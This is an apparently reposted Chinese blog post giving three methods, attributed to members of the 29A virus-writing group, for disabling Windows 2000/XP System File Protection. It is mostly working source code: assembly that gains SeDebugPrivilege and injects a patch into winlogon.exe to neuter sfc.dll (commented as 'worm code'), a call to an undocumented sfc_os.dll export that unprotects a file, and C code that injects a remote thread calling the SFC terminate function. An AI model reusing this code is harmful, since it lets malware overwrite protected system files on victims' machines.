干掉SFP的3种方法

因为不是全文转发,所以中间有些删节,修改和添加了一些内容

SFP (The System File Protection)

Is it boring ? How to get rid of it ?

Here are 3 ways,Enjoy~~


1 For win2k only

by Benny/29A and Ratter/29A

main idea:

1) Adjust higher priviledgez to our process, by legit API way.
2) Find Winlogon.exe in memory.
3) Alocate memory there, copy there a small "path" code and run it there.
4) Quit.

In the winlogon.exe will be created new thread which will:

1) Find the code written above.
2) Patch the code by ExitThread(0) call. If the page is protected,
   unprotect it then.
3) Quit.

demo to compile:

tasm32 /ml /m9 /q sfp
tlink32 -Tpe -c -x -aa sfp,,,import32,sfp
pewrsec sfp.exe

[code start here]

.386p
.model flat

include win32api.inc
include useful.inc
include mz.inc
include pe.inc


@pushvar macro variable, empty   ;macro for pushing
local   next_instr    ;variablez of any type
ifnb 
%out too much arguments in macro '@pushvar'
.err
endif
call next_instr
variable
next_instr:
endm


invoke macro api     ;macro for API callz
extrn api:PROC    ;declare API
call api     ;call it...
endm


@SEH_SetupFrame_UnProtect macro
local set_new_eh
local exception_handler

call set_new_eh
pushad

mov ebx,dword ptr [esp+cPushad+EH_ExceptionRecord]
cmp dword ptr [ebx.ER_ExceptionCode],EXCEPTION_ACCESS_VIOLATION
        jne exception_handler

@pushvar 
mov ebx,[ebx.ER_ExceptionInformation+4]
push PAGE_READWRITE
and ebx,0FFFFF000h
push 2*4096
push ebx
mov eax,12345678h
virtual_protect_api = dword ptr $-4
call eax     ;unprotect 2 pagez

exception_handler:
popad
xor eax,eax
ret

set_new_eh:      ;set SEH frame
xor edx,edx
push dword ptr fs:[edx]
mov fs:[edx],esp
endm


.data       ;some variablez
token_priv dd 1
p_luid  dq ?
   dd 2
procz  dd 80h dup (?)
   dd ?
modz  dd ?
mod_name db MAX_PATH dup (?)
p_token  dd ?
tmp  dd ?

.code       ;worm code starts
Start: pushad
@SEH_SetupFrame    ;setup SEH frame

extrn GetModuleHandleA:PROC
mov eax,dword ptr [GetModuleHandleA+2]
mov eax,[eax]
mov [gmha],eax    ;store address of API

        extrn VirtualProtect:PROC
mov eax,dword ptr [VirtualProtect+2]
mov eax,[eax]
mov [virtual_protect_api],eax  ;--- "" ---

extrn ExitThread:PROC
mov eax,dword ptr [ExitThread+2]
mov eax,[eax]
mov [exitthread_api],eax   ;--- "" ---

        invoke GetCurrentProcess
push offset p_token
push 20h
push eax
invoke OpenProcessToken   ;open token of our process
dec eax
jne err_ap

push offset p_luid
@pushsz 'SeDebugPrivilege'
push eax
invoke LookupPrivilegeValueA   ;find LUID for this priv.
dec eax
jne err_ap

push eax
push eax
push 10h
push offset token_priv
push eax
push [p_token]
invoke AdjustTokenPrivileges   ;adjust higher priviledges
       ;for our process
mov esi,offset procz
push offset tmp
push 80h
push esi
invoke EnumProcesses    ;enumerate all running processes
dec eax
jne end_seh
add esi,4

p_search:
lodsd      ;get PID
test eax,eax
je end_seh
call analyse_process
jc p_search

end_seh:@SEH_RemoveFrame    ;remove SEH frame
popad
push 0
invoke ExitProcess    ;and quit


analyse_process Proc
pushad
push eax
push 0
push 43Ah
invoke OpenProcess    ;PID -> handle
test eax,eax
je err_ap
mov [hProcess],eax
push eax

push eax
mov esi,offset modz
push offset tmp
push 4
push esi
push eax
invoke EnumProcessModules   ;get first (main) module
pop ecx
dec eax
jne err_ap1

lodsd
mov edi,offset mod_name
push MAX_PATH
push edi
push eax
push ecx
invoke GetModuleBaseNameA   ;get its name
xchg eax,ecx
jecxz err_ap1

@pushsz 'winlogon.exe'
pop esi
rep cmpsb
jne err_ap1     ;quit if its not winlogon
       
        push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push end_rroutine-start_rroutine
push 0
push 12345678h
hProcess = dword ptr $-4
invoke VirtualAllocEx    ;aloc there a memory
test eax,eax
je err_ap1
xchg eax,ebx

push 0
push end_rroutine-start_rroutine
push offset start_rroutine
push ebx
push [hProcess]
invoke WriteProcessMemory   ;write there our code
dec eax
jne free_mem

xor edx,edx
push edx
push edx
push edx
push ebx
push edx
push edx
push [hProcess]
invoke CreateRemoteThread   ;run it
push eax
invoke CloseHandle

invoke CloseHandle
popad
clc
ret
err_ap1:invoke CloseHandle
err_ap: popad
stc
ret
free_mem:
push MEM_RELEASE
push 0
push ebx
push [hProcess]
invoke VirtualFreeEx    ;free memory
jmp err_ap1
analyse_process EndP


start_rroutine Proc
pushad

@SEH_SetupFrame_UnProtect   ;set SEH frame

@pushsz 'sfc.dll'
mov eax,12345678h
gmha = dword ptr $-4
call eax     ;get sfc.dll address
test eax,eax
je end_rseh
xchg eax,esi

mov eax,[esi.MZ_lfanew]
add eax,esi
movzx edx,word ptr [eax.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edx,[edx+eax+(3*IMAGE_SIZEOF_FILE_HEADER)]
mov ecx,[edx.SH_SizeOfRawData]  ;get size of section

call @s_str
@b_str: db 6Ah,01h,6Ah,01h,0FFh,33h,0FFh,73h,04h,0FFh,15h ;code to search & patch
@s_str: pop edi
s_str: pushad
push @s_str-@b_str
pop ecx
rep cmpsb     ;search for code
popad
je got_addr
inc esi
loop s_str
jmp end_rseh

got_addr:
call e_next

s_next: push 0      ;"patch" code
mov eax, 12345678h
exitthread_api = dword ptr $-4
call eax

e_next: pop edi
xchg esi,edi
add edi,15
        mov ecx,e_next-s_next
        rep movsb     ;patch sfc.dll code by our code

end_rseh:
@SEH_RemoveFrame
popad
ret      ;and quit

end_rroutine:
start_rroutine EndP

ends
End Start


2 For WinXP (maybe 2k3 ?)

//this is also a wonderful stuff from Ratter/29A
//but this time ,this one only works on xp(maybe 2k3 ?)
//it can disable SFP on file basis for one minute
//sounds coool ? enjoy ~~

#include 
#include 
#include 

typedef DWORD (* SFPEXC)(DWORD, wchar_t *, DWORD);

void wmain(int argc, wchar_t **argv)
{
  HMODULE sfc_os;
  SFPEXC sfp_exc;

  assert(argc==2);
  assert(sfc_os=LoadLibrary("sfc_os.dll"));
  assert(sfp_exc=(SFPEXC) GetProcAddress(sfc_os, (char *) 5));

  assert(!sfp_exc(0, argv[1], -1));
  wprintf(L"File %s should now be unprotected for 1 minute", argv[1]);
}


3  Both win2k & XP (maybe 2k3?)

/*****************************************************************/
// 文件名: SfcDisable.cpp
// 作者:  by Ratter/29A
// 创建时间: unknown
// 版本: unknown
/*****************************************************************/


/*****************************************************************/
//Usage:   sfc_disable 
//This is a demo from Ratter/29A to show disable the SFC on winlogon.exe
//of course we can modify it to any other process.
// The details is described in 29A7.004 <>
//
/****************************************************************/


#include 
#include 
#include 

#pragma check_stack (off)

DWORD thread_func (FARPROC sfc_terminate)
{
   sfc_terminate();
   return 0;
}

void after_thread_func(void)
{
}
#pragma check_stack

int adjust_privileges(void)
{
  HANDLE token_handle;
  int ret=0;

  if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token_handle))
  {
    LUID luid;
    if(LookupPrivilegeValue(NULL, "SeDebugPrivilege", &luid))
    {
      TOKEN_PRIVILEGES tk_priv;

      tk_priv.PrivilegeCount=1;
      tk_priv.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
      tk_priv.Privileges[0].Luid=luid;

      if(AdjustTokenPrivileges(token_handle,
                               FALSE,
                               &tk_priv,
                               0,
                               NULL,
                               NULL)) ret=1;
    }
    CloseHandle(token_handle);
  }
  return ret;
}

void main(int argc, char **argv)
{
  HANDLE remote_thread;

  if(argc!=2)
  {
    printf("Usage: sfc_disable /n");
    exit(0);
  }

  DWORD wpid=atoi(argv[1]);
  assert(wpid);

  HMODULE sfc=LoadLibrary("sfc.dll");
  assert(sfc);

  FARPROC sfc_terminate=GetProcAddress(sfc, (char *) 2);
  assert(sfc_terminate);

  assert(adjust_privileges());

  HANDLE process=OpenProcess(PROCESS_ALL_ACCESS, FALSE, wpid);
  if(!process)
  {
    printf("Error while opening process/n");
    exit(0);
  }

  LPVOID remote_mem=VirtualAllocEx(process,
                                   NULL,
                                   (SIZE_T) ((char *)after_thread_func-(char *)thread_func),
                                   MEM_COMMIT,
                                   PAGE_READWRITE);
  if(!remote_mem)
  {
    printf("Error while commiting memory in the remote process/n");
    goto clean_up;
  }

  if(!WriteProcessMemory(process,
                         remote_mem,
                         (char *) thread_func,
                         (SIZE_T) ((char *)after_thread_func-(char *)thread_func),
                         (SIZE_T *) 0))
  {
    printf("Error %d while writing to the remote process/n", GetLastError());
    goto clean_up;
  }

  remote_thread=CreateRemoteThread(process,
                                   NULL,
                                   0,
                                   (LPTHREAD_START_ROUTINE) remote_mem,
                                   // (LPTHREAD_START_ROUTINE) sfc_terminate
                                   (LPVOID) sfc_terminate,
                                   0,
                                   NULL);
  if(!remote_thread)
  {
    printf("Error while creating remote thread in the process/n");
    goto clean_up;
  }
                                         
  if(WaitForSingleObject(remote_thread, 10*1000)==WAIT_TIMEOUT)
    printf("Timeout occured while waiting for the remote thread/n");

  CloseHandle(remote_thread);

clean_up:
  if(remote_mem) VirtualFreeEx(process, remote_mem, 0, MEM_RELEASE);
  CloseHandle(process);

http://su.pdxx.com/linkboy/blogview.asp?logID=122&cateID=1

你可能感兴趣的:(windows底层核心編程)